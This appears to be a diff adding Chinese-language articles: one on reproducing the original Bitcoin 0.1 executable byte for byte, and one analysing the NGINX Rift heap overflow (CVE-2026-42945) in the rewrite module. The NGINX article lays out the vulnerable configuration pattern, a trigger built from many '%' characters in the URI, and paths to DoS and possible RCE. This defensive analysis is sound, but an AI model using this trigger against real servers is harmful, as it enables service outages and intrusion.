|
||||
编译器版本、依赖库、编译参数、文件时间戳以及构建工具等因素，都可能导致生成的二进制文件出现差异。
|
||||
|
||||
该项目通过复现历史构建环境，成功生成与原始 bitcoin.exe
|
||||
完全一致的文件。这为研究人员分析早期比特币客户端的发布过程提供了有力的技术证据。
|
||||
### 2. 比特币 0.1 版本并非为可复现构建而设计
|
||||
|
||||
现代软件工程越来越重视可复现构建，即在满足相同构建条件的情况下，不同环境能够生成完全一致的二进制产物。
|
||||
|
||||
但比特币最初发布于 2009 年，当时并没有专门为这一目标设计构建流程。
|
||||
|
||||
原始程序是在中本聪自己的 Windows XP 环境中构建的，使用了当时的 MinGW 工具链以及多个特定版本的第三方依赖。
|
||||
|
||||
为了实现逐字节复现，项目研究人员需要从 2006—2008 年期间发布的软件包中寻找匹配组件，精确还原编译器、二进制工具链、依赖库，甚至某些文件的换行符格式。
|
||||
### 3. 二进制文件成为研究早期开发环境的重要证据
|
||||
|
||||
可执行文件中不仅包含程序逻辑，还可能保留编译器路径、调试字符串、资源时间戳、PE 文件头信息、导入表及节区布局等线索。
|
||||
|
||||
通过将这些特征与不同版本的构建工具进行比对，研究人员能够进一步推断原始软件的构建方式。
|
||||
|
||||
本项目正是利用这些线索，逐步还原了中本聪当年的开发环境和软件打包流程。
|
||||
|
||||
这些结果能够支持对特定构建环境的技术推断，但不能仅凭构建环境就确认开发者的现实身份或具体物理设备。
|
||||
## 四、还原中本聪的历史构建环境
|
||||
|
||||
根据项目分析，原始程序的构建过程可以分为三个阶段。
|
||||
### 第一阶段：构建基础依赖库
|
||||
|
||||
约在 2008 年 11 月 28 日，中本聪在 Windows XP 环境中构建了以下依赖组件：
|
||||
- wxWidgets 2.8.9
|
||||
|
||||
- Berkeley DB 4.7.25
|
||||
|
||||
- MinGW GCC 3.4.5
|
||||
|
||||
- 当时的 GNU binutils 工具链
|
||||
|
||||
之后，构建环境中的 binutils 又升级到了 2.18.50-20080109
|
||||
快照版本。
|
||||
### 第二阶段：构建 Bitcoin 客户端
|
||||
|
||||
2009 年 1 月 10 日，中本聪使用 Bitcoin 自带的 Makefile 构建客户端程序。
|
||||
|
||||
当时使用的是 Windows 原生命令提示符 cmd
|
||||
，而不是 MSYS 环境。
|
||||
|
||||
这一细节可以通过可执行文件中保留的路径信息进行交叉验证。MSYS 可能会转换部分路径，而原始程序保留的路径特征与直接在 cmd
|
||||
中构建的结果相符。
|
||||
|
||||
原始可执行文件的完成时间约为 2009 年 1 月 10 日 23:16 UTC。
|
||||
### 第三阶段：还原原始发布压缩包
|
||||
|
||||
生成可执行文件之后，项目还使用历史版本的 WinRAR，在 Wine 环境中重现原始压缩包。
|
||||
|
||||
通过匹配压缩算法、文件顺序、文件时间戳及文件属性，最终成功生成与历史发布档案哈希值一致的 RAR 文件。
|
||||
## 五、关键构建组件及证据
|
||||
<table><thead><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><th style="padding: 6px 13px;font-weight: 600;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">组件</span></section></th><th style="padding: 6px 13px;font-weight: 600;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">还原结果</span></section></th><th style="padding: 6px 13px;font-weight: 600;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">主要证据</span></section></th></tr></thead><tbody><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">操作系统</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">Windows XP</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">Berkeley DB 配置检查与 XP 运行库行为相符</span></section></td></tr><tr style="background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">编译器</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">MinGW GCC 3.4.5</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">可执行文件中保留的 libgcc 源码路径</span></section></td></tr><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">MinGW 运行库</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">mingw-runtime 3.13</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><code style="font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;white-space: break-spaces;background-color: rgba(129, 139, 152, 0.12);border-radius: 6px;"><span leaf="">mingwm10.dll</span></code><section><span leaf=""> 与对应历史版本完全一致</span></section></td></tr><tr style="background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">w32api</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">3.10 或 3.11</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">导入信息与这两个版本相符</span></section></td></tr><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">依赖库使用的 binutils</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">2.17.50 或更早的相近版本</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">wxWidgets 与 Berkeley DB 的指令编码、填充布局特征</span></section></td></tr><tr style="background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">Bitcoin 使用的 binutils</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">2.18.50-20080109</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">目标文件、导入跳板及节区标志等特征</span></section></td></tr><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">wxWidgets</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">2.8.9</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">版本字符串、嵌入式清单及 CRLF 换行格式</span></section></td></tr><tr style="background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">Berkeley DB</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">4.7.25</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">程序中的版本字符串</span></section></td></tr><tr style="backLine truncated
|
||||
其中，部分组件的版本可以较为精确地确定，而另一些组件只能缩小到一个可能的版本范围。项目依据的是多个二进制特征的综合匹配，而不是单一字符串判断。
|
||||
## 六、如何复现这一历史构建过程？
|
||||
|
||||
该项目提供了自动化构建脚本，可用于在现代 Linux 环境中重现历史版本。
|
||||
### 1. 环境要求
|
||||
- x86-64 Linux 主机
|
||||
|
||||
- Docker
|
||||
|
||||
- curl
|
||||
- 约 2 GB 可用磁盘空间
|
||||
|
||||
项目的构建流程需要运行 32 位 Wine 环境，因此不能直接使用 ARM 主机完成该构建流程。
|
||||
### 2. 执行构建
|
||||
|
||||
克隆项目仓库：
|
||||
```
|
||||
git clone https://github.com/t4t5/bitcoin-0.1-rebuilt.gitcd bitcoin-0.1-rebuilt
|
||||
```
|
||||
|
||||
运行构建脚本：
|
||||
```
|
||||
./build.sh
|
||||
```
|
||||
|
||||
首次构建在 12 核机器上大约需要 6 分钟，具体时间取决于硬件性能、网络状况和依赖下载速度。
|
||||
### 3. 验证构建结果
|
||||
|
||||
成功复现时，脚本会输出类似以下信息：
|
||||
```
|
||||
[build] MATCH: build/bitcoin/bitcoin.exe has SHA-256 fbcac071d92e26d82ec917214e334bd43850c0691f113bab1d4741c9bdd30d2d[build] rar[build] MATCH: build/rar/bitcoin-0.1.0.rar has MD5 91e2dfa2af043eabbb38964cbf368500 and SHA-1 ec9ed4ccbc990eceb922ff0c4d71d1ad466990dd
|
||||
```
|
||||
|
||||
其中，MATCH
|
||||
表示对应文件通过了脚本设置的哈希校验。
|
||||
|
||||
如果某个依赖包的原始下载地址已经失效，可以在 downloads/MANIFEST
|
||||
中为对应条目添加备用 URL，也可以通过 DOWNLOAD_MIRROR
|
||||
指定包含相同文件名的本地镜像目录。
|
||||
|
||||
建议在隔离的测试环境中执行历史软件构建流程，不要将早期客户端直接用于实际资金管理或生产环境。
|
||||
## 七、WinRAR 打包过程的复现
|
||||
|
||||
该项目不仅复现了程序本身，还对历史发布压缩包进行了还原。
|
||||
|
||||
研究结果显示，中本聪使用的 WinRAR 版本范围为 3.40—3.51，对应时间大致为 2004 年 9 月至 2005 年 10 月。
|
||||
|
||||
项目使用 WinRAR 3.51 的命令行程序 Rar.exe
|
||||
，并在 Wine 中执行打包操作。
|
||||
|
||||
主要还原参数如下：
|
||||
<table><thead><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><th style="padding: 6px 13px;font-weight: 600;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">设置</span></section></th><th style="padding: 6px 13px;font-weight: 600;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">还原结果</span></section></th></tr></thead><tbody><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">压缩工具</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">WinRAR 3.40—3.51 范围内的版本</span></section></td></tr><tr style="background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">压缩级别</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">最佳压缩，</span><code style="font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;white-space: break-spaces;background-color: rgba(129, 139, 152, 0.12);border-radius: 6px;"><span leaf="">-m5</span></code></section></td></tr><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">字典大小</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">4 MB</span></section></td></tr><tr style="background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">压缩模式</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">固实压缩</span></section></td></tr><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">文件排序</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">按扩展名分组排序</span></section></td></tr><tr style="background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">文件时间</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">按原始压缩包记录恢复</span></section></td></tr><tr style="background-color: rgb(255, 255, 255);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">文件夹时间</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">按原始压缩包记录恢复</span></section></td></tr><tr style="background-color: rgb(246, 248, 250);border-top: 1px solid rgba(209, 217, 224, 0.7);"><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">文件属性</span></section></td><td style="padding: 6px 13px;border: 1px solid rgb(209, 217, 224);"><section><span leaf="">包含 Archive 和 NTFS Compressed 属性</span></section></td></tr></tbody></table>
|
||||
项目发现，文件排序顺序、时间戳以及 NTFS 压缩属性等细节，都会影响最终压缩包是否能够与原始档案完全一致。
|
||||
|
||||
由于 Wine 无法直接设置 NTFS Compressed 属性，项目还使用了额外脚本修改 RAR 文件头中的相应属性位，并重新计算相关校验值。
|
||||
|
||||
这说明，即使压缩包中的文件内容和压缩数据已经一致，元数据差异仍可能导致最终文件的哈希值不同。
|
||||
## 八、项目存在的限制与注意事项
|
||||
### 1. 文件名中的 0.1.0 不完全代表首发当天的版本
|
||||
|
||||
历史档案中名为 bitcoin-0.1.0
|
||||
的文件，实际对应的是 2009 年 1 月 10 日更新后的版本。
|
||||
|
||||
其中，serialize.h
|
||||
文件包含：
|
||||
```
|
||||
VERSION = 101
|
||||
```
|
||||
|
||||
因此，该二进制文件更接近通常所说的 0.1.1 时代版本，而不是 2009 年 1 月 8 日的最初发布版本。
|
||||
|
||||
目前，项目没有找到经过验证、能够确认仍然存在的 1 月 8 日原始发布包副本。
|
||||
### 2. 部分时间戳需要作为构建输入
|
||||
|
||||
为了实现完全一致，构建脚本需要恢复原始文件中记录的特定时间。
|
||||
|
||||
项目指出，有三个构建步骤会将时间信息嵌入最终文件。如果不设置这些时间，生成的可执行文件会在恰好 335 个字节的位置出现差异。
|
||||
|
||||
因此，这里的逐字节复现并不是简单地使用默认参数重新编译，而是需要还原原始构建条件。
|
||||
### 3. 压缩包的元数据也必须匹配
|
||||
|
||||
RAR 文件中的文件时间、文件夹时间和属性同样是复现过程的一部分。
|
||||
|
||||
即使压缩数据本身已经完全匹配，如果文件头中的属性位或校验值不同，最终压缩包仍然无法达到相同的哈希结果。
|
||||
### 4. 两个 DLL 并非从源码重新构建
|
||||
|
||||
项目没有重新编译所有依赖组件。
|
||||
|
||||
其中：
|
||||
- libeay32.dll
|
||||
使用原始 DLL 的导出表生成相应导入库。
|
||||
|
||||
- mingwm10.dll
|
||||
使用 mingw-runtime 3.13 中的对应文件。
|
||||
|
||||
因此，该项目它实现了目标 Bitcoin 可执行文件和发布档案的逐字节复现，但并不意味着整个依赖软件栈的每一个组件都被独立地从源码重新构建。
|
||||
### 5. 构建运行于 Wine，而非原生 Windows XP
|
||||
|
||||
现代环境中的构建过程使用 Wine 运行历史 Windows 工具。
|
||||
|
||||
为了尽可能模拟 Windows XP 的行为，项目在 scripts/
|
||||
目录中加入了一些兼容性处理。
|
||||
|
||||
这与直接在原始 Windows XP 计算机上完成构建并不是同一种实验条件，但最终生成的目标文件仍然能够通过逐字节比对验证。
|
||||
## 九、原始发布档案的交叉验证
|
||||
|
||||
项目的 original/archives/
|
||||
目录保存了来自中本聪研究所历史代码档案的 0.1.0 版本发布包。
|
||||
|
||||
构建流程会先校验原始 .tgz
|
||||
档案，再从中提取除可执行文件以外的相关文件，随后重新构建客户端并生成 RAR 压缩包。
|
||||
|
||||
最后，项目会将生成的 RAR 文件与历史发布档案的哈希值进行比较。
|
||||
|
||||
而原始 .rar
|
||||
与 .tgz
|
||||
包含相同的 48 个文件，文件内容逐字节一致。其中，.tgz
|
||||
是对 .rar
|
||||
内容重新打包生成的档案，相关条目的所有者信息为 hal
|
||||
。
|
||||
|
||||
这一流程通过原始档案、重建后的二进制文件以及重新打包的压缩档案形成了相互验证的证据链。
|
||||
## 十、总结
|
||||
|
||||
bitcoin-0.1-rebuilt
|
||||
项目展示了软件考古、二进制逆向分析与可复现构建技术的结合。
|
||||
|
||||
它不仅重新生成了比特币早期客户端的历史可执行文件，还通过哈希校验、编译器特征分析、依赖库版本识别、时间戳还原和压缩包元数据匹配，尽可能完整地复现了中本聪在 2009 年发布软件时使用的构建流程。
|
||||
|
||||
这一成果具有多方面的技术价值：
|
||||
- **软件供应链验证：为公开源码与历史二进制文件之间的对应关系提供了强有力的验证证据。**
|
||||
- **数字取证研究：展示了如何利用二进制文件中的编译器、路径、时间戳和节区特征还原历史构建环境。**
|
||||
- **可复现构建研究：说明了依赖版本、工具链和元数据对于精确复现软件产物的重要性。**
|
||||
- **历史软件保存：为研究比特币早期客户端及其发布过程提供了可重复执行的技术方案。**
|
||||
值得注意的是，逐字节匹配证明的是重建产物与目标文件一致，并不自动证明该程序没有漏洞，也不代表它适合现代生产环境。
|
||||
|
||||
对于安全研究人员和软件供应链分析人员而言，这一项目提供了一个极具参考价值的案例：**通过重建历史工具链与构建条件，可以将一个看似无法复现的旧版二进制文件，转化为能够验证、分析和重复生成的技术对象。**
|
||||
|
||||
|
||||
@@ -0,0 +1,307 @@
|
||||
# 深度解析 NGINX Rift (CVE-2026-42945)：潜伏18年的堆溢出漏洞分析与防御指南
|
||||
蚁景网络安全 2026-10-19 09:40
|
||||
|
||||
在全球互联网基础设施的底层架构中，NGINX 凭借其极致的异步非阻塞事件驱动模型和极低的内存消耗，长期占据着 Web 服务器、反向代理、负载均衡器以及 API 网关领域的统治地位。NGINX的安全性影响全球数以千万计在线服务。2026年5月13日，一项被正式命名为 “NGINX Rift” 的严重内存破坏漏洞（CVE-2026-42945）的公开披露，在网络安全业界引发了强烈的震动。
|
||||
|
||||
该漏洞极其罕见地在 NGINX 的核心源码库中潜伏了大约 18 年之久（据溯源分析，该缺陷最早在 2008 年左右的提交中被引入），波及了从 0.6.27 早期版本一路延伸至 1.30.0 的几乎所有 NGINX Open Source 迭代分支，同时 NGINX Plus 商业版也未能幸免 。作为一个潜藏极深的基于堆的缓冲区溢出漏洞，它存在于被极为高频使用的 URL 重写模块（ngx_http_rewrite_module
|
||||
）中 。在极具普遍性的特定配置模式下，未经身份验证的远程攻击者仅需发送一个精心构造的单一 HTTP 请求，即可稳定触发该溢出漏洞，导致 NGINX 工作进程（Worker Process）崩溃，形成极高效率的拒绝服务（DoS）攻击。更为致命的是，在特定环境中，该漏洞的堆内存破坏特性允许攻击者实现无前置条件的远程代码执行，从而彻底接管服务器实例。
|
||||
## 漏洞分析
|
||||
|
||||
根据 F5 官方安全公告（K000161019）以及美国国家漏洞数据库（NVD）的权威评估，NGINX Rift 漏洞在最新的通用漏洞评分系统（CVSS）4.0 标准下获得了 9.2 分的极危（Critical）评级，在 CVSS 3.1 标准下亦达到了 8.1 分的高危（High）水平 。这一评分的内在逻辑深刻反映了该漏洞的破坏力。
|
||||
|
||||
|
||||
|
||||
|
||||
image-20260515102621666
|
||||
|
||||
### 受影响版本
|
||||
|
||||
该漏洞的波及范围不仅局限于独立部署的 NGINX 服务，更深刻影响了全球主要 Linux 发行版的官方软件源以及基于 Kubernetes 的云原生网络入口控制器。由于该缺陷代码早在 2008 年便已合入主线，这意味着过去 18 年间发布的大量长期支持（LTS）版本均携带此隐患 。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
值得高度警惕的是，众多 Kubernetes 集群仍在使用官方主线停止维护的 kubernetes/ingress-nginx 控制器。由于该控制器的底层镜像硬编码并静态嵌入了NGINX 1.27.1 版本，集群管理员无法通过简单地升级宿主机的 NGINX 安装包来解决此问题，必须更换或重新编译入口控制器镜像。这种容器化带来的底层依赖固化，在遇到此类持续时间极长、潜藏极深的超期漏洞时，暴露出供应链安全响应的迟滞风险。
|
||||
## NGINX底层请求处理架构与漏洞产生的原因
|
||||
|
||||
为了彻底解析 NGINX Rift 漏洞的技术肌理，有必要深入剖析 NGINX 处理 HTTP 流量的内部架构及其精妙的内存管理哲学。NGINX 并不为每一个传入的连接生成新的线程或进程，而是采用单线程的事件循环（Event Loop）配合非阻塞 I/O 来处理成千上万的并发连接。
|
||||
|
||||
在这种架构下，配置文件的解析与请求路由成为至关重要的一环。ngx_http_rewrite_module
|
||||
是 NGINX 体系中最复杂、最强大的核心模块之一。它允许管理员利用 PCRE（Perl-Compatible Regular Expressions）正则表达式在请求处理的极早期阶段（Server Rewrite Phase 和 Rewrite Phase）动态拦截、修改、重写传入的统一资源标识符（URI），甚至改变后续的处理走向 。在处理如 PHP 前端控制器（Front Controller）模式、WordPress 伪静态永久链接（Permalinks），或是作为 API 网关桥接公共路径到内部端点时，该模块的使用几乎是不可避免的 。
|
||||
|
||||
在内存分配策略上，NGINX 摒弃了频繁调用操作系统层面 malloc
|
||||
和 free
|
||||
的低效做法，转而实现了一套基于内存池（Memory Pool, ngx_pool_t
|
||||
）的高效机制。当一个新的 HTTP 请求接入时，NGINX 会为其创建一个独立的请求内存池。在处理该请求生命周期内的所有小块内存分配（如保存解析后的 HTTP 头、动态生成的 URI 字符串等），都会直接从这个预先申请的大块连续内存页中切割。这种设计极大地降低了内存碎片和分配开销。然而，正是这种将多次分配集中在一个连续内存空间中的设计，使得一旦发生逻辑上的计算谬误导致缓冲区越界写入，溢出的字节会直接覆盖并污染同一内存池中紧邻的其他关键数据结构或状态变量，从而产生链式破坏效果 。如果需要分配的缓冲区异常庞大超出了内存池设定的阈值，NGINX 会退化回直接调用底层库的堆分配函数，此时的溢出行为将直接作用于操作系统的核心堆管理结构上 。
|
||||
## CVE-2026-42945 核心成因
|
||||
|
||||
DepthFirst团队在漏洞研究报告中详细揭示了 NGINX Rift 的根本原因。这是一个典型且极其复杂的计算逻辑脱节漏洞，其核心在于 NGINX 的内部脚本引擎（Script Engine）在处理特定的变量重组时，对目标内存长度的“预判（Estimation）”与最终的“执行写入（Execution）”之间，存在基于上下文标志位（Context Flags）的严重不对等。
|
||||
### 触发路径的特定“配置”
|
||||
|
||||
漏洞并非在 NGINX 的常规运行中随机产生，它宛如一把必须通过特定配置齿轮才能咬合转动的复杂暗锁。研究表明，必须同时满足以下三个配置维度的条件，漏洞代码路径才会被激活 ：
|
||||
1. **存在未命名的 PCRE 正则捕获**
|
||||
：在 rewrite
|
||||
指令的正则表达式中，使用了未命名的捕获组，随后在配置逻辑中通过系统自动分配的数字变量（如 $1
|
||||
, $2
|
||||
）进行引用。
|
||||
|
||||
1. **替换字符串引入查询参数机制**
|
||||
：在目标替换字符串（Replacement String）中嵌入了问号（?
|
||||
）。在 NGINX 的路由语义中，这标志着 URI 路径与查询参数（Query String）的分界，NGINX 会据此改变对后续字符的转义处理逻辑。
|
||||
|
||||
1. **同一作用域下的指令链式调用**
|
||||
：在这个存在隐患的 rewrite
|
||||
指令之后，在同一个配置块（Scope）内，必须紧跟另一个触发脚本引擎重新评估的指令，通常是另一个 rewrite
|
||||
，或者是 if
|
||||
逻辑判断，亦或是 set
|
||||
变量赋值指令 。
|
||||
|
||||
一个能够精准命中上述所有脆弱条件的真实生产环境配置切片如下所示：
|
||||
```
|
||||
# 典型的 API 网关或应用重写逻辑location /api/v1/ { # 步骤一与二：正则表达式使用 (.*) 产生未命名捕获 $1，替换字符串包含? 号 rewrite ^/api/v1/(.*)$ /internal_router.php?route=$1; # 步骤三：紧跟一个 set 指令，触发双重遍历引擎的上下文混乱 set $backend_cluster "legacy_nodes";}
|
||||
```
|
||||
### 双重遍历引擎的逻辑错误
|
||||
|
||||
当攻击者向具备上述配置的 NGINX 节点发送包含特殊荷载的 HTTP 请求时，NGINX 将进入其内置的脚本求值流程。位于 src/http/ngx_http_script.c
|
||||
源码文件中的底层机制被唤醒。由于指令链条的复杂性，NGINX 需要对重写目标进行两次遍历操作 ：
|
||||
|
||||
**第一遍遍历：长度分配的短视计算**
|
||||
引擎必须首先计算出需要多大的目标缓冲区来容纳重写后的 URI。此时，系统调用了 ngx_http_script_complex_value_code
|
||||
函数。至关重要的是，为了进行纯粹的长度评估，NGINX 在这一步实例化并传入了一个被完全清零初始化的“子引擎（Sub-engine）”结构体 。 在这个被清零的子引擎上下文中，一个名为 is_args
|
||||
的关键标志位被默认为 0
|
||||
。当子引擎进一步调用 ngx_http_script_copy_capture_len_code
|
||||
去测量正则表达式捕获的内容（即攻击者传入的恶意 $1
|
||||
变量）时，由于 is_args
|
||||
为 0
|
||||
，代码路径决定以最原始的原始字节数（Raw Bytes）来衡量其长度，完全忽略了后续可能发生的任何字符转换或转义膨胀 。引擎据此得出了一个严重偏小的缓冲区需求量，并在堆内存中完成了分配。
|
||||
|
||||
**第二遍遍历：数据写入的转义膨胀**
|
||||
一旦空间分配完毕，执行流程随即切换到第二遍的实际数据拷贝阶段。此时，操作权交还给了保留完整上下文状态的“主引擎（Main engine）”。 在主引擎的上下文中，由于之前的替换字符串中显式包含了 ?
|
||||
符号，系统正确识别到当前正在处理 URI 的查询参数区域，因此 is_args
|
||||
标志位被正确地保持为 1
|
||||
。 当程序执行到 ngx_http_script_copy_capture_code
|
||||
准备将攻击者的数据拷贝入刚刚分配的缓冲区时，悲剧发生了。由于检测到 is_args
|
||||
为 1
|
||||
，NGINX 强制介入了参数转义流程，调用了底层的 ngx_escape_uri
|
||||
函数，并以 NGX_ESCAPE_ARGS
|
||||
模式运行 。
|
||||
|
||||
在 NGX_ESCAPE_ARGS
|
||||
转义模式下，根据相关 RFC 标准，特定的字符必须被编码以保证安全传输。例如：
|
||||
- 空格会被转化为 +
|
||||
或 %20
|
||||
。
|
||||
|
||||
- 字符 +
|
||||
、%
|
||||
和 &
|
||||
等会被展开为三字节的十六进制表示形式（如 %
|
||||
会被重新转义为 %25
|
||||
）。
|
||||
|
||||
**致命的算术冲突与内存覆写**
|
||||
：
|
||||
|
||||
假设攻击者发送的请求 URI 中包含了 1000 个连续的 %
|
||||
字符。
|
||||
- **计算阶段**
|
||||
：子引擎认为这是一个长度为 1000 字节的数据块，向内存池申请了 1000 字节的目标缓冲区。
|
||||
|
||||
- **写入阶段**
|
||||
：主引擎在拷贝过程中，对这 1000 个 %
|
||||
字符执行 NGX_ESCAPE_ARGS
|
||||
转义，每一个 %
|
||||
都被转换成了长达 3 个字节的 %25
|
||||
字符串。最终，主引擎试图将高达 3000 字节的数据强行塞入仅仅分配了 1000 字节的内存块中 。
|
||||
|
||||
这导致了多达 2000 字节的高强度越界写入。由于越界写入的字节流实质上是对攻击者原始输入的转义版本，这意味着内存覆写的内容并不是完全的乱码，而是由攻击者高度可控的数据载荷构成的，这种“可控的内存破坏（Controllable Corruption）”正是将其转化为严重安全漏洞的核心原因 。
|
||||
## 漏洞利用进阶：从拒绝服务到远程代码执行
|
||||
|
||||
了解了 NGINX Rift 漏洞的根本成因后，有必要进一步剖析攻击者是如何在实战环境中运用这一缺陷的。根据底层操作系统环境的防御纵深配置不同，该漏洞能够造成的破坏程度呈现出巨大的两极分化态势。
|
||||
### 拒绝服务（DoS）稳定利用
|
||||
|
||||
对于绝大多数开启了现代内存保护机制的系统而言，漏洞最直观和最可靠的表现形式是拒绝服务。由于 NGINX 采用 Master-Worker 多进程架构，工作进程（Worker）负责处理具体的网络请求连接。
|
||||
|
||||
当攻击者发送包含大量恶意字符膨胀载荷的请求时，堆缓冲区溢出瞬间发生。溢出的数据无情地践踏了紧邻其后的内存结构。如果该内存处于 NGINX 自定义的 ngx_pool_t
|
||||
结构内，它会破坏下一个即将被使用的内存块的元数据头部；如果触发了针对大块内存的 malloc
|
||||
退化，它将破坏底层 glibc（如 ptmalloc
|
||||
）管理堆块（Chunk）所必需的头部信息（例如覆盖了关键的 size
|
||||
字段或是双向链表的 fd
|
||||
/bk
|
||||
指针）。
|
||||
|
||||
当 NGINX 进程继续运行，试图释放该内存块或在同一池中进行下一次分配时，底层的内存完整性校验机制将被触发。系统侦测到堆数据损坏，会立即抛出 SIGSEGV
|
||||
（段错误）或 SIGABRT
|
||||
异常中断，直接杀死当前正在处理该请求的 Worker 进程 。虽然 NGINX 的 Master 进程拥有强大的韧性，它会在监控到 Worker 退出（例如在日志中记录类似 worker process <PID> exited on signal 11
|
||||
的信息）后迅速拉起一个新的替补 Worker，但为攻击者提供了一种极其廉价且高效的攻击途径 。
|
||||
|
||||
攻击者可以构建多线程发包工具，以每秒数百次的频率持续发送触发载荷。这种高频的精确打击将导致目标服务器上的所有 NGINX Worker 进程陷入永无止境的“崩溃-重启”死亡循环（Crash Loop）中 。合法的用户请求由于分配不到存活的 Worker 进程，或者连接在处理半途中因进程意外死亡而遭到系统强行重置（Connection reset by peer），从而导致目标 Web 业务或 API 服务呈现全面瘫痪的状态 。在 Alma Linux 团队的独立复现测试中，他们确认在 Alma Linux 8、9、10 及后续衍生版本上，针对目标 Worker 进程制造此类 DoS 攻击路径是微不足道的任务 。
|
||||
### 远程代码执行（RCE）：受限环境下的服务器接管
|
||||
|
||||
多份深度研究报告明确指出，CVE-2026-42945 确实存在被转化为无身份验证 RCE 的完整潜能，然而这其中存在一个至关重要的先决门槛—目标主机的地址空间布局随机化（ASLR）状态 。
|
||||
|
||||
在默认开启 ASLR 的环境下，由于堆布局的不可预测性，且当前尚未发现能与此溢出相配合的稳定信息泄露（Info-leak）漏洞，攻击者通过盲目构造溢出载荷去精准覆盖如 NGINX 核心结构体中的 handler
|
||||
回调函数指针，并将其重定向至有意义的执行链（ROP Chain）的成功率微乎其微。强行尝试的结果绝大多数情况下依然是引发不可恢复的段错误崩溃 。
|
||||
|
||||
